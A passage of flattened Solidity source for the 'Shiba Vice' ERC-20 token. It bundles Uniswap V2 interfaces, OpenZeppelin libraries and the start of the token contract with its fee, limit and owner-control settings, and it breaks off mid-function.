uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol
pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// File: contracts/IterableMapping.sol
pragma solidity ^0.8.6;
library IterableMapping {
// Iterable mapping from address to uint;
struct Map {
address[] keys;
mapping(address => uint) values;
mapping(address => uint) indexOf;
mapping(address => bool) inserted;
}
function get(Map storage map, address key) internal view returns (uint) {
return map.values[key];
}
function getIndexOfKey(Map storage map, address key) internal view returns (int) {
if(!map.inserted[key]) {
return -1;
}
return int(map.indexOf[key]);
}
function getKeyAtIndex(Map storage map, uint index) internal view returns (address) {
return map.keys[index];
}
function size(Map storage map) internal view returns (uint) {
return map.keys.length;
}
function set(Map storage map, address key, uint val) internal {
if (map.inserted[key]) {
map.values[key] = val;
} else {
map.inserted[key] = true;
map.values[key] = val;
map.indexOf[key] = map.keys.length;
map.keys.push(key);
}
}
function remove(Map storage map, address key) internal {
if (!map.inserted[key]) {
return;
}
delete map.inserted[key];
delete map.values[key];
uint index = map.indexOf[key];
uint lastIndex = map.keys.length - 1;
address lastKey = map.keys[lastIndex];
map.indexOf[lastKey] = index;
delete map.indexOf[key];
map.keys[index] = lastKey;
map.keys.pop();
}
}
// File: contracts/DividendPayingTokenOptionalInterface.sol
pragma solidity ^0.8.6;
/// @title Dividend-Paying Token Optional Interface
/// @author Roger Wu (https://github.com/roger-wu)
/// @dev OPTIONAL functions for a dividend-paying token contract.
interface DividendPayingTokenOptionalInterface {
/// @notice View the amount of dividend in wei that an address can withdraw.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` can withdraw.
function withdrawableDividendOf(address _owner) external view returns(uint256);
/// @notice View the amount of dividend in wei that an address has withdrawn.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` has withdrawn.
function withdrawnDividendOf(address _owner) external view returns(uint256);
/// @notice View the amount of dividend in wei that an address has earned in total.
/// @dev accumulativeDividendOf(_owner) = withdrawableDividendOf(_owner) + withdrawnDividendOf(_owner)
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` has earned in total.
function accumulativeDividendOf(address _owner) external view returns(uint256);
}
// File: contracts/DividendPayingTokenInterface.sol
pragma solidity ^0.8.6;
/// @title Dividend-Paying Token Interface
/// @author Roger Wu (https://github.com/roger-wu)
/// @dev An interface for a dividend-paying token contract.
interface DividendPayingTokenInterface {
/// @notice View the amount of dividend in wei that an address can withdraw.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` can withdraw.
function dividendOf(address _owner) external view returns(uint256);
/// @notice Withdraws the ether distributed to the sender.
/// @dev SHOULD transfer `dividendOf(msg.sender)` wei to `msg.sender`, and `dividendOf(msg.sender)` SHOULD be 0 after the transfer.
/// MUST emit a `DividendWithdrawn` event if the amount of ether transferred is greater than 0.
function withdrawDividend() external;
/// @dev This event MUST emit when ether is distributed to token holders.
/// @param from The address which sends ether to this contract.
/// @param weiAmount The amount of distributed ether in wei.
event DividendsDistributed(
address indexed from,
uint256 weiAmount
);
/// @dev This event MUST emit when an address withdraws their dividend.
/// @param to The address which withdraws ether from this contract.
/// @param weiAmount The amount of withdrawn ether in wei.
event DividendWithdrawn(
address indexed to,
uint256 weiAmount
);
}
// File: contracts/SafeMathInt.sol
/*
MIT License
Copyright (c) 2018 requestnetwork
Copyright (c) 2018 Fragments, Inc.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
pragma solidity ^0.8.6;
/**
* @title SafeMathInt
* @dev Math operations for int256 with overflow safety checks.
*/
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
// File: contracts/SafeMathUint.sol
pragma solidity ^0.8.6;
/**
* @title SafeMathUint
* @dev Math operations with safety checks that revert on error
*/
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
if (amount > 0) {
emit Transfer(sender, recipient, amount);}
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: contracts/Token.sol
pragma solidity ^0.8.10;
contract ShibaVice is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
struct BuyFee {
uint16 marketingFee;
uint16 liquidityFee;
}
struct SellFee {
uint16 marketingFee;
uint16 liquidityFee;
}
bool private swapping;
BuyFee public buyFee;
SellFee public sellFee;
uint256 public swapTokensAtAmount = 1 * 10**3 * (10**18); //0.01% of the supply
uint256 public maxBuyAmount = 1 * 10**6 * 10**18; // 0.1% of the supply
uint256 public maxSellAmount = 1 * 10**6 * 10**18; //0. 1% of the supply
uint256 public maxWalletAmount = 1 * 10**7 * 10**18; // 1% of the supply (antiwhale)
uint16 private totalBuyFee;
uint16 private totalSellFee;
bool public swapEnabled;
bool private isTradingEnabled;
uint256 public tradingStartBlock;
uint8 public constant BLOCKCOUNT = 5;
address payable _marketingWallet = payable(address(0x39AF977Ed6c878507Dbc799C14fbc91Efd46C23E)); // marketingWallet
address payable _devWallet = payable(address(0x58550ec20AA8D496eCdB8Fb8aa9231Da79850c98)); // devWallet
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedFromLimit;
mapping(address => bool) public _isBlackListed;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event ExcludeFromFees(address indexed account, bool isExcluded);
event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event GasForProcessingUpdated(
uint256 indexed newValue,
uint256 indexed oldValue
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap() {
swapping = true;
_;
swapping = false;
}
constructor() ERC20("Shiba Vice", "VICE") {
buyFee.marketingFee = 8;
buyFee.liquidityFee = 2;
totalBuyFee = 10;
sellFee.marketingFee = 10;
sellFee.liquidityFee = 2;
totalSellFee = 12;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D// Uniswap V2 Router
);
// Create a uniswap pair for this new token
address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
_setAutomatedMarketMakerPair(_uniswapV2Pair, true);
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
swapEnabled = true;
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(owner(), 1 * 10**9 * (10**18)); // 1 billion tokens
}
receive() external payable {}
function updateUniswapV2Router(address newAddress) public onlyOwner {
require(
newAddress != address(uniswapV2Router),
"Token: The router already has that address"
);
emit UpdateUniswapV2Router(newAddress, address(uniswapV2Router));
uniswapV2Router = IUniswapV2Router02(newAddress);
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
require(
_isExcludedFromFees[account] != excluded,
"Token: Account is already the value of 'excluded'"
);
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function claimStuckTokens(address _token) external onlyOwner {
require(_token != address(this), "No rugs");
if (_token == address(0x0)) {
payable(owner()).transfer(address(this).balance);
return;
